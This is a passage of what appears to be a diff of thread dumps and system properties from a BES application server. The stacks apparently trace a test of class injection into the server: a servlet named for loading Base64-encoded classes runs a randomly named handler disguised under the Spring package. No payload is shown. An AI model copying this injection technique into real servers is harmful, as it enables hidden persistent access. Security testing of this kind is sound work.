at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"httpWorkerThread-8080-5" #64 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at [email protected]/java.lang.Thread.dumpThreads(Native Method)
|
||||
at [email protected]/java.lang.Thread.getAllStackTraces(Thread.java:1671)
|
||||
at org.springframework.EZQui.ErrorCphpbHandler.toString(BasicInfoPrinter.java:26)
|
||||
at [email protected]/java.lang.String.valueOf(String.java:4220)
|
||||
at com.bes.enterprise.webtier.connector.CoyoteWriter.print(CoyoteWriter.java:240)
|
||||
at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:225)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:158)
|
||||
at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:16)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:187)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:158)
|
||||
at com.bes.enterprise.web.websocket.server.WsFilter.doFilter(WsFilter.java:49)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:187)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:158)
|
||||
at EmptyFilter.doFilter(EmptyFilter.java:12)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:187)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:158)
|
||||
at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:21)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:187)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:158)
|
||||
at com.bes.enterprise.webtier.core.DefaultWrapperValve.invoke(DefaultWrapperValve.java:192)
|
||||
at com.bes.enterprise.webtier.core.DefaultContextValve.invoke(DefaultContextValve.java:109)
|
||||
at com.bes.enterprise.webext.BesContextCleanupValve.invoke(BesContextCleanupValve.java:50)
|
||||
at com.bes.enterprise.webext.BESAppservValve.invoke(BESAppservValve.java:41)
|
||||
at com.bes.enterprise.webtier.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:538)
|
||||
at com.bes.enterprise.webtier.core.DefaultHostValve.invoke(DefaultHostValve.java:132)
|
||||
at com.bes.enterprise.webext.BESSecurityListener$BESSecurityRequestValve.invoke(BESSecurityListener.java:95)
|
||||
at com.bes.enterprise.webtier.valves.ErrorReportValve.invoke(ErrorReportValve.java:87)
|
||||
at com.bes.enterprise.webtier.core.DefaultEngineValve.invoke(DefaultEngineValve.java:74)
|
||||
at com.bes.enterprise.webtier.connector.CoyoteAdapter.service(CoyoteAdapter.java:373)
|
||||
at com.bes.enterprise.web.crane.http11.Http11Processor.service(Http11Processor.java:467)
|
||||
at com.bes.enterprise.web.crane.AbstractProcessorLight.process(AbstractProcessorLight.java:61)
|
||||
at com.bes.enterprise.web.crane.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:956)
|
||||
at com.bes.enterprise.web.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1947)
|
||||
at com.bes.enterprise.web.util.net.SocketProcessorBase.run(SocketProcessorBase.java:47)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1193)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"Spark_6" #86 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@87f8d44
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/java.lang.Object.wait(Native Method)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||
|
||||
"Spark_5" #85 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@87f8d44
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/java.lang.Object.wait(Native Method)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||
|
||||
"RMI TCP Connection(2)-192.168.215.5" #94 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at [email protected]/sun.nio.ch.Net.poll(Native Method)
|
||||
at [email protected]/sun.nio.ch.NioSocketImpl.park(NioSocketImpl.java:186)
|
||||
at [email protected]/sun.nio.ch.NioSocketImpl.timedRead(NioSocketImpl.java:290)
|
||||
at [email protected]/sun.nio.ch.NioSocketImpl.implRead(NioSocketImpl.java:314)
|
||||
at [email protected]/sun.nio.ch.NioSocketImpl.read(NioSocketImpl.java:355)
|
||||
at [email protected]/sun.nio.ch.NioSocketImpl$1.read(NioSocketImpl.java:808)
|
||||
at [email protected]/java.net.Socket$SocketInputStream.read(Socket.java:966)
|
||||
at [email protected]/java.io.BufferedInputStream.fill(BufferedInputStream.java:244)
|
||||
at [email protected]/java.io.BufferedInputStream.read(BufferedInputStream.java:263)
|
||||
at [email protected]/java.io.FilterInputStream.read(FilterInputStream.java:82)
|
||||
at [email protected]/sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:569)
|
||||
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:828)
|
||||
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:705)
|
||||
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$473/0x00000008016c27b8.run(Unknown Source)
|
||||
at [email protected]/java.security.AccessController.executePrivileged(AccessController.java:776)
|
||||
at [email protected]/java.security.AccessController.doPrivileged(AccessController.java:399)
|
||||
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:704)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"bes-deployment-thread-2" #77 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@7305597c
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252)
|
||||
at [email protected]/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:401)
|
||||
at [email protected]/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:903)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
at com.bes.enterprise.appserv.deployment.DeploymentExecutorService$TerminableThread.run(DeploymentExecutorService.java:89)
|
||||
|
||||
"httpWorkerThread-1900-2" #56 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e311b2e
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"Signal Dispatcher" #4 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"httpWorkerThread-8080-7" #66 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e17a3b9
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"RMI Scheduler(0)" #92 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1378c7d7
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679)
|
||||
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182)
|
||||
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@7e91e179
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/java.lang.Object.wait(Native Method)
|
||||
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155)
|
||||
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176)
|
||||
at [email protected]/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:172)
|
||||
|
||||
"RMI TCP Connection(1)-192.168.215.5" #91 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at [email protected]/sun.nio.ch.Net.poll(Native Method)
|
||||
at [email protected]/sun.nio.ch.NioSocketImpl.park(NioSocketImpl.java:186)
|
||||
at [email protected]/sun.nio.ch.NioSocketImpl.timedRead(NioSocketImpl.java:290)
|
||||
at [email protected]/sun.nio.ch.NioSocketImpl.implRead(NioSocketImpl.java:314)
|
||||
at [email protected]/sun.nio.ch.NioSocketImpl.read(NioSocketImpl.java:355)
|
||||
at [email protected]/sun.nio.ch.NioSocketImpl$1.read(NioSocketImpl.java:808)
|
||||
at [email protected]/java.net.Socket$SocketInputStream.read(Socket.java:966)
|
||||
at [email protected]/java.io.BufferedInputStream.fill(BufferedInputStream.java:244)
|
||||
at [email protected]/java.io.BufferedInputStream.read(BufferedInputStream.java:263)
|
||||
at [email protected]/java.io.FilterInputStream.read(FilterInputStream.java:82)
|
||||
at [email protected]/sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:569)
|
||||
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:828)
|
||||
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:705)
|
||||
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$473/0x00000008016c27b8.run(Unknown Source)
|
||||
at [email protected]/java.security.AccessController.executePrivileged(AccessController.java:776)
|
||||
at [email protected]/java.security.AccessController.doPrivileged(AccessController.java:399)
|
||||
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:704)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
|
||||
===========================================
|
||||
|
||||
StackClassNames:
|
||||
Base64ClassLoaderServlet
|
||||
EmptyFilter
|
||||
ServletNameTestFilter
|
||||
UrlMappingTestFilter
|
||||
com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl
|
||||
com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl
|
||||
com.bes.ejb.spark.tcp.transport.AcceptorThread
|
||||
com.bes.ejb.spark.tcp.transport.SelectorThread
|
||||
com.bes.enterprise.appserv.deployment.DeploymentExecutorService$TerminableThread
|
||||
com.bes.enterprise.appserver.startup.Bootstrap
|
||||
com.bes.enterprise.appserver.startup.CommonClassLoader$1
|
||||
com.bes.enterprise.base.disruptor.BatchEventProcessor
|
||||
com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier
|
||||
com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy
|
||||
com.bes.enterprise.base.disruptor.util.Util
|
||||
com.bes.enterprise.gjc.pool.impl.GenericObjectPool$CreateConnectionThread
|
||||
com.bes.enterprise.server.builder.BesWebModule
|
||||
com.bes.enterprise.startup.ASMain
|
||||
com.bes.enterprise.web.crane.AbstractProcessorLight
|
||||
com.bes.enterprise.web.crane.AbstractProtocol$ConnectionHandler
|
||||
com.bes.enterprise.web.crane.http11.Http11Processor
|
||||
com.bes.enterprise.web.util.net.Acceptor
|
||||
com.bes.enterprise.web.util.net.NioEndpoint
|
||||
com.bes.enterprise.web.util.net.NioEndpoint$Poller
|
||||
com.bes.enterprise.web.util.net.NioEndpoint$SocketProcessor
|
||||
com.bes.enterprise.web.util.net.SocketProcessorBase
|
||||
com.bes.enterprise.web.util.threads.ThreadPoolExecutor
|
||||
com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker
|
||||
com.bes.enterprise.web.util.threads.WorkQueue
|
||||
com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable
|
||||
com.bes.enterprise.web.websocket.server.WsFilter
|
||||
com.bes.enterprise.webext.BESAppservValve
|
||||
com.bes.enterprise.webext.BESSecurityListener$BESSecurityRequestValve
|
||||
com.bes.enterprise.webext.BesContextCleanupValve
|
||||
com.bes.enterprise.webtier.authenticator.AuthenticatorBase
|
||||
com.bes.enterprise.webtier.connector.CoyoteAdapter
|
||||
com.bes.enterprise.webtier.connector.CoyoteWriter
|
||||
com.bes.enterprise.webtier.core.ApplicationFilterChain
|
||||
com.bes.enterprise.webtier.core.DefaultContextValve
|
||||
com.bes.enterprise.webtier.core.DefaultEngineValve
|
||||
com.bes.enterprise.webtier.core.DefaultHostValve
|
||||
com.bes.enterprise.webtier.core.DefaultWrapperValve
|
||||
com.bes.enterprise.webtier.valves.ErrorReportValve
|
||||
com.bes.org.objectweb.howl.log.LogBufferManager$FlushManager
|
||||
com.bes.org.objectweb.howl.log.LogFileManager$EventManager
|
||||
org.hsqldb.lib.HsqlTimer
|
||||
org.hsqldb.lib.HsqlTimer$TaskQueue
|
||||
org.hsqldb.lib.HsqlTimer$TaskRunner
|
||||
org.springframework.EZQui.ErrorCphpbHandler
|
||||
@@ -0,0 +1,375 @@
|
||||
# Generated At 2026-08-08 09:53:56
|
||||
SystemProps:
|
||||
java.specification.version: 17
|
||||
bes.useNaming: false
|
||||
sun.jnu.encoding: UTF-8
|
||||
java.class.path: /app/app.jar
|
||||
java.vm.vendor: Eclipse Adoptium
|
||||
sun.arch.data.model: 64
|
||||
bes.base: /appserver/bes.8080
|
||||
java.vendor.url: https://adoptium.net/
|
||||
user.timezone: Etc/UTC
|
||||
java.vm.specification.version: 17
|
||||
os.name: Linux
|
||||
sun.java.launcher: SUN_STANDARD
|
||||
user.country: US
|
||||
sun.boot.library.path: /opt/java/openjdk/lib
|
||||
sun.java.command: /app/app.jar
|
||||
jdk.debug: release
|
||||
sun.cpu.endian: little
|
||||
user.home: /root
|
||||
user.language: en
|
||||
java.specification.vendor: Oracle Corporation
|
||||
java.version.date: 2025-10-21
|
||||
java.home: /opt/java/openjdk
|
||||
file.separator: /
|
||||
com.bes.product.type: SpringBoot
|
||||
java.vm.compressedOopsMode: Zero based
|
||||
line.separator:
|
||||
|
||||
java.vm.specification.vendor: Oracle Corporation
|
||||
java.specification.name: Java Platform API Specification
|
||||
FILE_LOG_CHARSET: UTF-8
|
||||
com.bes.instanceRoot: /appserver/bes.8080
|
||||
java.awt.headless: true
|
||||
java.protocol.handler.pkgs: org.springframework.boot.loader.net.protocol
|
||||
sun.management.compiler: HotSpot 64-Bit Tiered Compilers
|
||||
java.runtime.version: 17.0.17+10
|
||||
user.name: root
|
||||
path.separator: :
|
||||
os.version: 7.0.14-orbstack-00374-gbbca68e8d741
|
||||
java.runtime.name: OpenJDK Runtime Environment
|
||||
file.encoding: UTF-8
|
||||
java.vm.name: OpenJDK 64-Bit Server VM
|
||||
java.vendor.version: Temurin-17.0.17+10
|
||||
java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues
|
||||
java.io.tmpdir: /tmp
|
||||
java.version: 17.0.17
|
||||
com.bes.installRoot: /appserver/bes.8080
|
||||
user.dir: /
|
||||
os.arch: aarch64
|
||||
java.vm.specification.name: Java Virtual Machine Specification
|
||||
PID: 1
|
||||
CONSOLE_LOG_CHARSET: UTF-8
|
||||
native.encoding: UTF-8
|
||||
java.library.path: /usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib
|
||||
java.vm.info: mixed mode, sharing
|
||||
java.vendor: Eclipse Adoptium
|
||||
java.vm.version: 17.0.17+10
|
||||
java.specification.maintenance.version: 1
|
||||
sun.io.unicode.encoding: UnicodeLittle
|
||||
java.class.version: 61.0
|
||||
|
||||
===========================================
|
||||
|
||||
ThreadStacks:
|
||||
"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@5b44dbe2
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/java.lang.Object.wait(Native Method)
|
||||
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155)
|
||||
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176)
|
||||
at [email protected]/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:172)
|
||||
|
||||
"AppServer-utility-2" #20 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@513cf310
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679)
|
||||
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182)
|
||||
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"httpWorkerThread-8080-7" #27 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@431417ec
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1117)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1179)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:652)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"Notification Thread" #12 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"Signal Dispatcher" #4 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"Common-Cleaner" #13 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@198917e9
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/java.lang.Object.wait(Native Method)
|
||||
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155)
|
||||
at [email protected]/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
at [email protected]/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162)
|
||||
|
||||
"Cleaner-0" #14 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@64ef44f1
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/java.lang.Object.wait(Native Method)
|
||||
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155)
|
||||
at [email protected]/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
at [email protected]/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162)
|
||||
|
||||
"httpWorkerThread-8080-3" #23 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@431417ec
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1117)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1179)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:652)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"httpWorkerThread-8080-6" #26 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@431417ec
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1117)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1179)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:652)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"httpWorkerThread-8080-4" #24 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@431417ec
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
